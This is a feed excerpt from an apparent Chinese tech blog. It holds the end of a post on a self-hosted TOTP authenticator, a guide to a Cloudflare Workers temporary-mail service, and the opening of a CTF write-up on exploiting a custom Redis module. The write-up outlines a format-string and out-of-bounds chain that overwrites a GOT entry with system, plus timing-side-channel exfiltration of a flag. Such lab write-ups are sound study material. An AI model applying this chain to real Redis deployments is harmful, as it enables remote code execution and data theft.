&lt;pre&gt;&lt;code&gt;node scripts/preview.mjs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打開 &lt;code&gt;http://127.0.0.1:8788&lt;/code&gt;。首次設置的初始化令牌為 &lt;code&gt;local-preview-only-setup-token-000000000&lt;/code&gt;，自行設置測試管理員用戶名和至少 12 位密碼。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;此服務&lt;strong&gt;僅綁定 127.0.0.1，數據庫在內存中，重啟即清空&lt;/strong&gt;。固定令牌僅供本地測試，生產環境絕不能使用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.2 直接部署到 Cloudflare&lt;/h3&gt;
&lt;p&gt;需要 Node.js 24、npm 和 Cloudflare 帳號：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm ci
npx wrangler login
npx wrangler d1 create vault
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;記下輸出的 &lt;code&gt;database_id&lt;/code&gt;，寫入 &lt;code&gt;wrangler.toml&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[[d1_databases]]
binding = &quot;DB&quot;
database_name = &quot;vault&quot;
database_id = &quot;你的-database-id&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初始化數據庫表結構：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx wrangler d1 execute vault --file=schema.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;設置初始化令牌（僅用一次）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx wrangler secret put SETUP_TOKEN
# 輸入一個足夠隨機的字符串，初始化後立即刪除
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;部署：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx wrangler deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首次訪問時用 &lt;code&gt;SETUP_TOKEN&lt;/code&gt; 初始化管理員帳號，&lt;strong&gt;完成後立即刪除這個 secret&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx wrangler secret delete SETUP_TOKEN
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 安全審計與測試&lt;/h2&gt;
&lt;p&gt;上線前做了幾件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;代碼審計&lt;/strong&gt;：通讀全部源碼，重點檢查加密流程、身份驗證、SQL 注入面&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自動化測試&lt;/strong&gt;：&lt;code&gt;npm test&lt;/code&gt;，10/10 通過&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;本地運行時驗證&lt;/strong&gt;：用 &lt;code&gt;wrangler dev&lt;/code&gt; 在本地模擬 Cloudflare 環境跑通全流程&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;5.1 已知限制（誠實聲明）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密碼遺失無法恢復&lt;/strong&gt;：這是設計使然，不是 bug。沒有後門，沒有「忘記密碼」。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;測試版本&lt;/strong&gt;：已完成本地代碼審查和自動化測試，不代表絕對安全或第三方審計認證。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;先用測試帳號驗證&lt;/strong&gt;，再導入真實 2FA。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5.2 D1 ID 脫敏&lt;/h3&gt;
&lt;p&gt;公開倉庫的 &lt;code&gt;wrangler.toml&lt;/code&gt; 中的真實 D1 ID 和域名註釋已替換為佔位符。Git 歷史壓成一個乾淨 commit 並強推，refs 中已確認找不到真實 D1 ID。&lt;/p&gt;
&lt;p&gt;生產部署前必須注入真實 D1 ID，不能直接使用公開 &lt;code&gt;wrangler.toml&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 使用體驗&lt;/h2&gt;
&lt;p&gt;部署完成後，綁定自定義域名（比如 &lt;code&gt;2fa.your-domain.com&lt;/code&gt;），打開就是一個乾淨的驗證器界面：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;添加 TOTP：掃二維碼或手動輸入種子&lt;/li&gt;
&lt;li&gt;6 位數字自動倒計時刷新，點擊複製&lt;/li&gt;
&lt;li&gt;支持多用戶隔離&lt;/li&gt;
&lt;li&gt;日間/夜間模式&lt;/li&gt;
&lt;li&gt;多語言：簡體中文 / English / 한국어 / 繁體中文&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;還有一個&lt;strong&gt;無刪除權限的 Agent API&lt;/strong&gt;，可以給自動化腳本只讀訪問（比如讓機器人幫你讀驗證碼，但刪不掉你的種子）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 結論&lt;/h2&gt;
&lt;p&gt;整個項目驗證了一個想法：&lt;strong&gt;TOTP 驗證器不需要是個 App，也可以是個網頁；不需要信任第三方，也可以用 $0 的成本自己託管。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;核心代價只有一個：記住你的主密碼。丟了，誰也救不了你——包括我。&lt;/p&gt;
&lt;p&gt;代碼開源在 GitHub，有興趣的可以自己部署一份。記得先用測試帳號跑一遍，確認沒問題再遷移真實的 2FA 種子。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;本文為測試版本項目的介紹，不構成安全審計報告。生產使用前請自行評估風險。&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>自託管臨時郵箱：Cloudflare Workers + D1 的郵局系統</title><link>https://blog.ouneed.tech/posts/temp-mail/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/temp-mail/</guid><description>註冊帳號不想暴露真實郵箱？用 Cloudflare Workers + D1 + Email Routing 打造一個純自託管的臨時郵局：匿名建地址、即時收信、零成本。</description><pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;📮 &lt;strong&gt;在線體驗&lt;/strong&gt;：&lt;a href=&quot;https://mail.ouneed.tech&quot;&gt;https://mail.ouneed.tech&lt;/a&gt; —— 本文中介紹的自託管臨時郵局，打开即用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;0. TL;DR：先給結論&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;結論&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;這是什麼？&lt;/td&gt;
&lt;td&gt;一個跑在 Cloudflare Workers + D1 上的臨時郵箱系統&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;為什麼不用 Guerrilla Mail？&lt;/td&gt;
&lt;td&gt;自己的域名、自己的數據；不怕服務商跑路；可自定義域名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;能發信嗎？&lt;/td&gt;
&lt;td&gt;新用戶默認不能發信（額度為 0），防濫用；管理員可發&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成本？&lt;/td&gt;
&lt;td&gt;Cloudflare 免費額度內搞定，$0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;部署多麻煩？&lt;/td&gt;
&lt;td&gt;Worker + D1 + Email Routing，約 15 分鐘&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 起點：為什麼要自託管臨時郵箱&lt;/h2&gt;
&lt;p&gt;臨時郵箱這東西，用過的人都知道它的痛點：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;公共臨時郵箱（Guerrilla Mail、Temp-Mail 之流）地址池是公開的，別人也能看到你的郵件&lt;/li&gt;
&lt;li&gt;免費服務說關就關，地址今天能用明天不一定&lt;/li&gt;
&lt;li&gt;想要自己的域名？要麼付費，要麼自己搭&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;自託管的思路很直接：&lt;strong&gt;域名是自己的，數據是自己的，規則也是自己定的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;Cloudflare 的免費套餐正好能湊齊所有零件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Email Routing&lt;/strong&gt;：免費的郵件轉發，catch-all 到 Worker&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Workers&lt;/strong&gt;：免費 10 萬請求/天，跑 API 夠用了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;D1&lt;/strong&gt;：免費 5GB，存郵件綽綽有餘&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pages&lt;/strong&gt;：免費托管前端&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 架構：一張圖看懂&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;發件人 → Cloudflare Email Routing → Worker (temp-mail)
                                            ↓
                                    D1 (temp-mail-db)
                                            ↓
                                    Pages 前端展示
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;收信&lt;/strong&gt;：Email Routing 的 catch-all 規則把所有寄到各個郵件域名的郵件轉給 Worker，Worker 解析後存 D1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;讀信&lt;/strong&gt;：前端調用 Worker API，匿名用戶只能看到自己創建的地址的郵件（地址隔離）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;發信&lt;/strong&gt;：默認關閉，新用戶額度為 0；管理員可通過後台發信&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;域名配置：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;域名&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mail.ouneed.tech&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;默認域名（網頁端）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;is.ouneed.tech&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;郵箱後綴（&lt;code&gt;xxx@is.ouneed.tech&lt;/code&gt;，即 &quot;xxx is ouneed&quot;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mail.ouneed.kdns.fr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;備用域名&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;mail.cuneed.kdns.fr&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;備用域名&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 防濫用設計：為什麼不怕被薅&lt;/h2&gt;
&lt;p&gt;臨時郵箱最怕的就是被批量薅——有人寫腳本狂建地址拿來註冊、發垃圾郵件。這套系統有三層防護：&lt;/p&gt;
&lt;h3&gt;3.1 新用戶默認零發信額度&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;DEFAULT_SEND_BALANCE&lt;/code&gt; 默認為 0。新註冊的用戶（包括匿名創建的地址）&lt;strong&gt;不能發信&lt;/strong&gt;，只能收信。想發信？管理員後台手動加額度。&lt;/p&gt;
&lt;p&gt;這就堵死了 99% 的垃圾郵件濫用——薅地址可以，但發不出去。&lt;/p&gt;
&lt;h3&gt;3.2 IP 限流（代碼已就緒）&lt;/h3&gt;
&lt;p&gt;Worker 代碼裡對高風險接口做了限流埋點：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;接口&lt;/th&gt;
&lt;th&gt;說明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/api/new_address&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;創建新地址&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/api/send_mail&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;發送郵件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user_api/register&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用戶註冊&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/user_api/verify_code&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;驗證碼&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;限流按 &lt;code&gt;路徑 + IP&lt;/code&gt; 做 key，超限返回 429。目前需要綁定 Cloudflare Rate Limiting 資源才能生效（Dashboard 裡幾分鐘能配好）。&lt;/p&gt;
&lt;h3&gt;3.3 地址隔離&lt;/h3&gt;
&lt;p&gt;匿名用戶 A 創建的地址，匿名用戶 B 看不到。每个地址有獨立的訪問憑證，不會像公共臨時郵箱那樣&quot;撞地址&quot;看到別人的郵件。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 管理員後台：能做什麼&lt;/h2&gt;
&lt;p&gt;管理員通過 &lt;code&gt;x-admin-auth&lt;/code&gt; 請求頭驗證（前端彈框輸入密碼），可以：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查看所有地址和郵件&lt;/li&gt;
&lt;li&gt;搜索郵件內容&lt;/li&gt;
&lt;li&gt;刪除地址/清空收件箱&lt;/li&gt;
&lt;li&gt;發送郵件（管理員不受額度限制）&lt;/li&gt;
&lt;li&gt;查看統計（郵件數、地址數、活躍數）&lt;/li&gt;
&lt;li&gt;配置 IP 黑名單&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 部署要點：幾個坑&lt;/h2&gt;
&lt;h3&gt;5.1 Email Routing 的 catch-all&lt;/h3&gt;
&lt;p&gt;兩個域名都要配 catch-all → Send to Worker → 選 &lt;code&gt;temp-mail&lt;/code&gt;。配完後要等 DNS 生效，實測約 5 分鐘。&lt;/p&gt;
&lt;h3&gt;5.2 D1 綁定&lt;/h3&gt;
&lt;p&gt;Worker 需要綁定 D1 數據庫 &lt;code&gt;temp-mail-db&lt;/code&gt;，binding 名為 &lt;code&gt;DB&lt;/code&gt;。表結構用項目裡的 &lt;code&gt;schema.sql&lt;/code&gt; 初始化。&lt;/p&gt;
&lt;h3&gt;5.3 管理員密碼&lt;/h3&gt;
&lt;p&gt;通過 Worker secrets 設置 &lt;code&gt;ADMIN_PASSWORDS&lt;/code&gt;（JSON 數組字符串，如 &lt;code&gt;[&quot;你的密碼&quot;]&lt;/code&gt;）。前端沒有獨立的登錄接口——輸入密碼後存在瀏覽器，每次請求帶 &lt;code&gt;x-admin-auth&lt;/code&gt; 頭，服務端比對。&lt;/p&gt;
&lt;h3&gt;5.4 前端部署&lt;/h3&gt;
&lt;p&gt;前端是獨立的 Vite 項目，構建後部署到 Cloudflare Pages。API 地址在前端配置裡指向 Worker 的 &lt;code&gt;workers.dev&lt;/code&gt; 域名或自定義域名。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 和公共臨時郵箱的對比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;公共臨時郵箱&lt;/th&gt;
&lt;th&gt;自託管（本方案）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;域名&lt;/td&gt;
&lt;td&gt;服務商的&lt;/td&gt;
&lt;td&gt;自己的&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;隱私&lt;/td&gt;
&lt;td&gt;地址池公開，可能被偷看&lt;/td&gt;
&lt;td&gt;地址隔離，別人看不到&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;穩定性&lt;/td&gt;
&lt;td&gt;看服務商心情&lt;/td&gt;
&lt;td&gt;自己掌控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;發信&lt;/td&gt;
&lt;td&gt;通常不支持&lt;/td&gt;
&lt;td&gt;管理員可發，用戶默認禁發&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成本&lt;/td&gt;
&lt;td&gt;免費（有廣告）&lt;/td&gt;
&lt;td&gt;Cloudflare 免費額度，$0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;維護&lt;/td&gt;
&lt;td&gt;不用管&lt;/td&gt;
&lt;td&gt;偶爾看看&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;7. 適合誰用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;開發者&lt;/strong&gt;：測試註冊流程、接驗證碼，不想用真實郵箱&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隱私黨&lt;/strong&gt;：註冊不重要的服務時隔離真實郵箱&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;羊毛黨&lt;/strong&gt;：接碼專用（配合 Cloudflare 的 100 個郵箱接碼方案效果更佳）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不適合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;需要長期穩定收信的重要帳號（臨時郵箱本來就不是乾這個的）&lt;/li&gt;
&lt;li&gt;需要大量發信的場景（額度機制就是防這個的）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;8. 開源與部署&lt;/h2&gt;
&lt;p&gt;這個郵局基於開源項目二次開發（原項目支持 Telegram Bot、S3 存儲等多種功能，本站只啟用了核心收發信）。如果你也想搭一個：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;準備一個 Cloudflare 帳號（免費版就行）&lt;/li&gt;
&lt;li&gt;準備一個域名（託管在 Cloudflare）&lt;/li&gt;
&lt;li&gt;按第 5 節的要點配置 Email Routing + D1 + Worker + Pages&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;全程免費，半小時搞定。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;最後更新：2026-10-17&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Redis Nemesis 利用報告：從 Redis 模塊格式化字符串到無輸出環境下的計時側信道取 Flag</title><link>https://blog.ouneed.tech/posts/redis-nemesis-format-string-timing-side-channel/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/redis-nemesis-format-string-timing-side-channel/</guid><description>一次 CTF / 實戰環境下的 Redis 利用復盤：模塊格式化字符串漏洞 + 無回顯計時側信道提取數據。</description><pubDate>Fri, 25 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;目录&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-1&quot;&gt;摘要&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-2&quot;&gt;1. 靶场概述与来源&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-3&quot;&gt;2. 环境与版本指纹（供独立核对）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-4&quot;&gt;3. 漏洞分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-5&quot;&gt;4. 利用链实现（约 47 秒）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-6&quot;&gt;5. 后利用：输出通道的系统性排查&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-7&quot;&gt;6. 计时侧信道外带设计&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-8&quot;&gt;7. 验证与结果&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-9&quot;&gt;8. 修复建议（给模块作者）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-10&quot;&gt;9. 结论&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-11&quot;&gt;附录 A：偏移与参数速查&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-12&quot;&gt;附录 B：原始日志与证据（随附压缩包 evidence/）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-13&quot;&gt;附录 C：随附脚本（scripts/ 目录，均已去除本地路径，python3 标准库零依赖）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#redis-nemesis-section-14&quot;&gt;附录 D：时间线（15 轮实例）&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;类别&lt;/strong&gt;：二进制利用 / 后利用 / 隐蔽外带
&lt;strong&gt;目标&lt;/strong&gt;：Redis 7.0.15 自定义模块 &lt;code&gt;nemesis.so&lt;/code&gt;（&quot;复仇女神 / Matrix Engine v1.0&quot;）
&lt;strong&gt;最终结果&lt;/strong&gt;：获得完全 RCE；在目标与外界完全网络隔离、无任何输出回显的条件下，以计时侧信道逐字节外带 Flag 成功
&lt;strong&gt;Flag&lt;/strong&gt;：&lt;code&gt;CTF{R3d1s_N3m3sis_FSOP_M4st3r_2024}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;摘要 {#redis-nemesis-section-1}&lt;/h2&gt;
&lt;p&gt;本报告完整记录了一次针对 Redis 自定义模块的利用过程。目标模块 &lt;code&gt;nemesis.so&lt;/code&gt; 注册了 5 个命令（&lt;code&gt;NEMESIS.CREATE/DEBUG/MULT/VIEW/DELETE&lt;/code&gt;），其中两处独立缺陷——&lt;code&gt;NEMESIS.DEBUG&lt;/code&gt; 将用户输入直接作为格式化字符串传入 &lt;code&gt;snprintf&lt;/code&gt;（CWE-134），以及 &lt;code&gt;NEMESIS.MULT&lt;/code&gt; 对非 DENSE 矩阵按 DENSE 数组解释导致的越界读（CWE-125）——构成了任意地址读写原语。配合模块编译时&lt;strong&gt;未开启 Full RELRO&lt;/strong&gt;（&lt;code&gt;GNU_RELRO&lt;/code&gt; 段仅覆盖 &lt;code&gt;[0xf360, 0x10000)&lt;/code&gt;，GOT 位于其外），利用链在约 47 秒内稳定走通：栈上返回地址扫描得模块基址 → GOT 泄漏得 libc 基址 → 4 次 &lt;code&gt;%hhn&lt;/code&gt; 将 &lt;code&gt;strtof@got&lt;/code&gt; 覆写为 &lt;code&gt;system&lt;/code&gt; → 经 &lt;code&gt;NEMESIS.CREATE&lt;/code&gt; 的 seed 参数触发任意命令执行。&lt;/p&gt;
&lt;p&gt;报告的后半部分聚焦一个更具工程意义的命题：&lt;strong&gt;当目标容器网络完全隔离、平台无任何日志回显、ptrace 被 Yama 封锁、甚至环境变量都被清空时，如何把一个 36 字节的秘密送出来。&lt;/strong&gt; 我们系统性排查了 18 条候选输出通道并逐一给出死因证据（其中&quot;DNS 外带日志中出现的记录实为攻击者浏览器自身查询&quot;是一个具有普遍意义的误判陷阱），最终采用&lt;strong&gt;计时侧信道&lt;/strong&gt;：利用 RCE 让目标按秘密数据逐 2 bit 休眠不同时长，客户端测量 RESP 往返耗时还原数据。实测通道精度 ±0.05s，36 字节 Flag 以零错误于 9 分 33 秒提取完毕。该方法对&quot;有执行、无回传&quot;类场景具有通用性，报告第 6 章给出了可直接复用的参数化驱动设计。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 靶场概述与来源 {#redis-nemesis-section-2}&lt;/h2&gt;
&lt;h3&gt;1.1 题目形态&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;题目名&lt;/strong&gt;：Redis Nemesis（复仇女神）。目标以一个自研 Redis 模块为载体，模块源码路径在二进制内可见（&lt;code&gt;nemesis.c&lt;/code&gt;，运行时经 addr2line 解析为 &lt;code&gt;/tmp/nemesis.c&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;分发方式&lt;/strong&gt;：训练平台以&lt;strong&gt;独立容器实例&lt;/strong&gt;分发，经 Cloudflare 隧道暴露，入口形如 &lt;code&gt;http://38.60.125.120:&amp;lt;随机端口&amp;gt;/&lt;/code&gt;，生命周期约 60 分钟；同端口同时提供 HTTP 网关（&lt;code&gt;/&lt;/code&gt;、&lt;code&gt;/health&lt;/code&gt;、&lt;code&gt;/debug&lt;/code&gt;、&lt;code&gt;/log&lt;/code&gt;）与 Redis RESP 服务。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;可独立核对的指纹&lt;/strong&gt;：见第 2 章。所有偏移、字符串、符号均来自第一手利用记录（见附录 B），读者可在获得同类实例后逐项比对。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt;：该靶场未随实例提供公开赛事页面或源码下载链接；本报告全部结论均可由第 2 章指纹 + 附录 C 复现步骤独立验证。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 目标架构&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;                    +----------------------------------------------+
                    | 容器 (网络隔离, 空环境变量, 非 root 运行)     |
                    |                                              |
  38.60.125.120:P --|  HTTP 网关 --+-- /log    读 /tmp/nemesis.c    |
   (Cloudflare 隧道) |             +-- /debug  addr2line 符号化      |
                    |                                              |
                    |  redis-server 7.0.15 (容器内 :6380)           |
                    |    +-- modules/nemesis.so  &amp;lt;- 攻击面          |
                    |         NEMESIS.CREATE/DEBUG/MULT/VIEW/DELETE|
                    +----------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 环境与版本指纹（供独立核对） {#redis-nemesis-section-3}&lt;/h2&gt;
&lt;h3&gt;2.1 Redis 服务器指纹（&lt;code&gt;INFO server&lt;/code&gt; 原始输出，见附录 B-1）&lt;/h3&gt;
&lt;p&gt;|
项 |
值 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
redis_version |
7.0.15 |&lt;/p&gt;
&lt;p&gt;|
redis_git_sha1 / dirty |
0000000000 / 0 |&lt;/p&gt;
&lt;p&gt;|
redis_build_id |
e08dbad3e06f3fb |&lt;/p&gt;
&lt;p&gt;|
os |
Linux 4.15.0-213-generic x86_64 |&lt;/p&gt;
&lt;p&gt;|
arch_bits |
64 |&lt;/p&gt;
&lt;p&gt;|
gcc_version |
12.2.0 |&lt;/p&gt;
&lt;p&gt;|
executable / config |
/redis-server / /etc/redis/redis.conf |&lt;/p&gt;
&lt;p&gt;|
tcp_port（容器内） |
6380 |&lt;/p&gt;
&lt;p&gt;|
process_supervised |
no |&lt;/p&gt;
&lt;p&gt;|
multiplexing_api |
epoll |&lt;/p&gt;
&lt;h3&gt;2.2 模块指纹（&lt;code&gt;MODULE LIST&lt;/code&gt; + 二进制字符串）&lt;/h3&gt;
&lt;p&gt;|
项 |
值 |&lt;/p&gt;
&lt;p&gt;| --- | --- |&lt;/p&gt;
&lt;p&gt;|
模块路径 |
/usr/lib/redis/modules/nemesis.so |&lt;/p&gt;
&lt;p&gt;|
版本 |
nemesis ver=1（Module API 1） |&lt;/p&gt;
&lt;p&gt;|
导出命令 |
nemesis.create / nemesis.debug / nemesis.mult / nemesis.view / nemesis.delete |&lt;/p&gt;
&lt;p&gt;|
内部源码标识 |
二进制含完整日志格式串，均带 &lt;code&gt;nemesis.c:%d]&lt;/code&gt; 行号前缀（见下表） |&lt;/p&gt;
&lt;p&gt;|
矩阵类型 |
DENSE / DIAG / &lt;strong&gt;SPARSE&lt;/strong&gt;（字符串证据 &lt;code&gt;CREATE SPARSE id=%d nnz=%d payload=%p row=%p col=%p val=%p&lt;/code&gt;；本轮利用未涉及） |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;二进制内日志格式串（地址：内容）——可直接用于识别同源样本&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0xe871  &apos;nemesis.c:%d] CREATE: wrong arity, got %d need 5&apos;
0xe911  &apos;nemesis.c:%d] CREATE DENSE  id=%d %dx%d payload=%p&apos;
0xe9a1  &apos;nemesis.c:%d] CREATE DIAG   id=%d %dx%d diag=%d payload=%p&apos;
0xe9f9  &apos;nemesis.c:%d] MULT: wrong arity&apos;
0xea21  &apos;nemesis.c:%d] MULT: matrix not found a=%p b=%p&apos;
0xea69  &apos;nemesis.c:%d] MULT: dimension mismatch %d != %d&apos;
0xeb09  &apos;nemesis.c:%d] VIEW: not found or not DENSE&apos;
0xeb69  &apos;nemesis.c:%d] DEBUG: matrix %lld not found&apos;
0xebf1  &apos;nemesis.c:%d] DELETE id=%d type=%d payload=%p&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 ELF 属性与符号（addr2line + 程序头）&lt;/h3&gt;
